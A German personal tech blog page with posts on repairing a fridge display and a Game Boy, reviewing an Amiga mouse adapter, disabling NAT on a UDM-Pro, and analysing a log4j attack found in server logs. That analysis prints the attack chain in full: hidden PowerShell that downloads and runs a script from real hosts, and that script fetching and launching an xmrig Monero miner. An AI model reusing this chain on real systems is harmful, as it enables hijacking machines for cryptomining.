All posts by Stefan

Reparatur Novamatic LCD

Wir haben vor ca. 5 Jahren eine Kühl-Gefrierschrank Kombination von Novamatic gekauft, Typ KS-TF 326-IB. Nach etwas mehr als 2 Jahren ging die 7-Segment LCD-Anzeige nicht mehr.

Natürlich war die Garantie abgelaufen. Meiner Meinung nach handelt es sich hier um eine Fehlkonstruktion, man könnte es auch “Sollbruchstelle” nennen. Genau dort wo die Litzen vom Öffnen/Schliessen immer gebogen werden, ist kein Schutz vorhanden.

Da die Zeit gekommen ist um Strom zu sparen, habe ich mir heute endlich Zeit genommen den Defekt zu reparieren, damit ich die Temperatur im Kühlschrank wieder sehen und einstellen kann.

In der Explosionszeichnung handelt es sich um das Kabel an Position 77:

Continue reading Reparatur Novamatic LCD

Nintendo Game Boy ohne Sound

Ich habe einen als defekt deklarierten Game Boy DMG-01 erworben, der Verkäufer gab an dass kein Sound mehr vorhanden ist. Als erstes hab ich heute die Kopfhörerbuchse getestet, welche zu meiner Überraschung noch funktioniert. Also kein allgemeiner Defekt dass kein Sound mehr vorhanden wäre. Danach habe ich den Game Boy aufgeschraubt und das Problem sofort entdeckt:

Wie man sieht hat hier schon jemand versucht zu reparieren. Die Platine ist gebrochen, den Speaker und die abgerissenen Drähte habe ich bereits ausgelötet.

Continue reading Nintendo Game Boy ohne Sound

Ein log4j Angriff (CVE-2021-44228)

Hier ein Beispiel eines log4j Angriffs auf ein nicht verwundbares System.
Folgender Log-Eintrag war auf einem Apache-Webserver zu finden:

Was macht der? Sollte dahinter eine Java Applikation laufen welche die log4j Komponente nutzt, so würde die Datei “Exploit” geladen und ausgeführt.

Wir holen uns mal die Datei:

curl ldap://185.246.87.50:1389/Exploit.class -o Exploit.class

Mit dem Reverse-Engineering Tool namens jadx-gui sehen wir uns die Java-Klasse an, darin finden wir u.A. folgenden Windows Powershell Befehl, welcher bei einer Windows-Umgebung ausgeführt wird:

if (System.getProperty("os.name").toLowerCase().startsWith("win")) {
 Runtime.getRuntime().exec(new String[]{"powershell", "-w", "hidden", "-c", "(new-object System.Net.WebClient).DownloadFile('http://150.60.139.51:80/wp-content/themes/twentyseventeen/s.cmd', $env:temp + '/s.cmd');start-process -FilePath 's.cmd' -WorkingDirectory $env:tmp"});
}

Dieses lädt die s.cmd von einer eventuell gehackten WordPress-Seite herunter und führt diese aus. In der Datei s.cmd steht folgendes:

powershell -w hidden -c (new-object System.Net.WebClient).Downloadfile('http://68.183.165.105:80/wp-content/themes/twentyseventeen/xmrig64.exe','xmrig.exe')
xmrig.exe -o pool.supportxmr.com:5555 -u 46QBumovWy4dLJ4R8wq8JwhHKWMhCaDyNDEzvxHFmAHn92EyKrttq6LfV6if5UYDAyCzh3egWXMhnfJJrEhWkMzqTPzGzsE -p log

Wenn s.cmd ausgeführt wird, wird der Monero-Miner xmrig64.exe wiederum von einer WordPress-Seite heruntergeladen und ausgeführt. Die Monero-Adresse lautet: 46QBumovWy4dLJ4R8wq8JwhHKWMhCaDyNDEzvxHFmAHn92EyKrttq6LfV6if5UYDAyCzh3egWXMhnfJJrEhWkMzqTPzGzsE und nutzt den Miner-Pool von supportxmr.com.

Gucken wir da doch mal rein ob es sich lohnt:

Der Erfolg hält sich in Grenzen. Als ich das erste Mal rein geschaut habe war noch eine Hashrate von 12KH/s aktiv, jetzt ist sie auf einen Durchschnitt von 4.7KH/s runter gefallen, was wohl darauf hindeutet dass die meisten Miner entdeckt und gelöscht wurden. 4.7KH/s schafft man laut XMR CPU Benchmarks mit einem aktuellen Intel i7 oder Ryzen 7 Prozessor.

Ausbezahlt wurden bisher 0.08418 XMR, das sind momentan rund 18.90 US-Dollar.
Nehmen wir an der oder die Hacker haben nur diese XMR-Adresse genutzt, so scheint es sich nicht zu lohnen. Ich gehe aber mal davon aus dass verschiedene Angriffe und Adressen genutzt wurden.

mouSTer

I tested mouSTer, the ultimative USB mouse adapter with my Amiga 2000.
The first firmware fw.3.08.1801 was not working. But less than a month later there were several new firmwares and with the latest fw.3.10.1939 it works perfectly.

mouSTer adapter with mouse cable plugged in

Settings I used:

type=01 ;(Amiga, default is 00 for Atari)
microstep=4 ;(10 is default, but mouse is then too slow) 

Tested Mouse-Devices: Logitech RX300 and M-UAE96, Chinese no brand mini optical mouse.
Costs with shipping: ~34€
Cheaper than a new old Amiga Mouse on any online market and you can even connect gamepads.

Firmware: http://jil.guru/mouSTer/
Blog Post: https://retrohax.net/project-mouster-the-ultimate-mouse-adapter-for-retrocomputers/

mouSTer documentation-part of the INI-File:

; ####################################################################
; #                                                                  #
; # Features:                                                        #
; # Emulates Atari, Amiga and Commodore 1351 mouse.                  #
; # Can handle up to 16 buttons that can be translated to any action*#
; # Can handle up to 6 axes, that can be translated to any action*   #
; #                                                                  #
; # More to come…                                                    #
; # *any action - means any joystick direction or fire/mouse button  #
; #                                                                  #
; ####################################################################
;
; ####################################################################
; # User Manual                                                      #
; ####################################################################
;
; #############################-BlinkCodes-###########################
;
; mouSTer is communicating with you using MORSE CODE or simply
; blinking the LED.
;
; List of possible messages:
;
; Very fast blinking: Bootloader is Active and is waiting for USB
; drive with new firmware.
; If USB drive is not detected within 2s, main program will be
; launched.
;
; Normal blinking: mouSTer is ready, and is awaiting USB HID device
; (mouse, game pad etc).
;
; HeartBeat: 2 fast blinks and long pause. mouSTer is alive and
; operational.
;
; SOS: <… --- …> Critical problem has occurred. Not possible to
; recover from this state. Please cycle power.
;
; E: <.> An error has occurred. Remove USB device | Check INI file
; syntax.
;
; R: <.-.> Operation successfully finished. Remove the USB device.
;
; ########################-Using-an-USB-Drive-#######################
;
; When USB drive is inserted, mouSTer is looking for a 'mouSTer'
; folder.
; If the folder does not exists, it will be created and opened.
; Then mouSTer is looking for configuration file: 'mouSTer.ini'
; If exists, configuration will be read and parsed then written to
; memory.
; If no ini file is present, mouSTer is looking for new firmware file:
; 'mouSTer.fw'.
; If firmware file is present mouSTer will activate the bootloader,
; and install new firmware.
; In case if no ini nor firmware present - mouSTer will write (this)
; ini file
; with manual and current firmware version on the top - into
; 'mouSTer.ini' file.
;
; mouSTer is case insensitive.
;
; mouSTer config   file: '/mouSTer/mouSTer.ini'
; mouSTer firmware file: '/mouSTer/mouSTer.fw'
;
; most up to date information and the latest firmware is always
; available at: http://Jil.guru/mouSTer

UDM-Pro mit public IP-Range

Die UniFi Dream Machine Pro von Ubiquiti ist an und für sich ein schönes Gerät, will man damit aber etwas professioneller unterwegs sein, zB mit einer public IP-Range ohne NAT, so wirkt die Firmware noch unausgereift und man muss derzeit noch zu Tricks greifen.

Folgend die Notizen wie man NAT deaktivieren kann, getestet mit Firmware 1.8.5.

VORSICHT: Nachdem NAT deaktiviert wurde, steht euer PC öffentlich im WAN! Tut folgendes nur wenn Ihr wisst was Ihr macht.

Als erstes erstellen wir ein VLAN mit der ersten public-IP die wir via PPPoE erhalten. Dies kann noch über das WEB-GUI gemacht werden. Nach Lust und Laune kann hier auch noch ein DHCP-Server eingerichtet werden.

Nun verbinden wir via SSH auf die UDM-Pro und starten eine Shell:

ssh root@<ip-adresse der UDM-Pro>
# unifi-os shell

Und laden ein Paket welches uns erlaubt, ein Script persistent zu speichern nach dem Reboot der UDM-Pro auszuführen (evtl. auf neue Version prüfen):

root@ubnt:/# curl -L https://raw.githubusercontent.com/boostchicken/udm-utilities/master/on-boot-script/packages/udm-boot_1.0.2_all.deb -o udm-boot_1.0.2_all.deb
root@ubnt:/# dpkg -i udm-boot_1.0.2_all.deb
root@ubnt:/# exit

Danch kontrollieren welches unsere Firewall-Regel ist welche NAT macht:

# xtables-multi iptables -t nat -L UBIOS_POSTROUTING_USER_HOOK -v --line-number
 Chain UBIOS_POSTROUTING_USER_HOOK (1 references)
 num   pkts bytes target     prot opt in     out     source               destination         
 1     1873  154K MASQUERADE  all  --  any    ppp0    anywhere             anywhere             /* 00000001095216660481 / 2        1   264 MASQUERADE  all  --  any    eth9    anywhere             anywhere             / 00000001095216660482 */

In meinem Fall ist es die erste Regel mit dem out-interface ppp0.
Diese müssen wir nun löschen mit einem Script, welches auch nach einem Reboot die NAT-Regel wieder entfernt. Zuerst erstellen wir das File:

cd /mnt/data/on_boot.d/
vi disable_nat.sh

Dann brauchen wir folgenden Inhalt der die Regel löscht. Falls es bei euch eine andere Regel-Nr. ist, einfach die Zahl am Ende anpassen. Bei mir ist es Regel Nr. 1:

#!/bin/sh
xtables-multi iptables -t nat -D UBIOS_POSTROUTING_USER_HOOK 1

Die Datei speichern und dann noch ausführbar machen:

# chmod +x disable_nat.sh

Nun kann man das z.B mal von Hand ausführen und kontrollieren:

# ./disable_nat.sh
# xtables-multi iptables -t nat -L UBIOS_POSTROUTING_USER_HOOK -v --line-number
 Chain UBIOS_POSTROUTING_USER_HOOK (1 references)
 num   pkts bytes target     prot opt in     out     source               destination         
 1        1   264 MASQUERADE  all  --  any    eth9    anywhere             anywhere             /* 00000001095216660482 */

Wie man sieht, ist nun nur noch die zweite Regel vorhanden resp. hat den Platz der ersten Regel eingenommen. Ab sofort ist NAT deaktiviert.

Hat man nur ein VLAN auf welchem man NAT deaktivieren will, kann man evtl. mit den in/out Interfaces spielen. Ich habe das nicht getestet.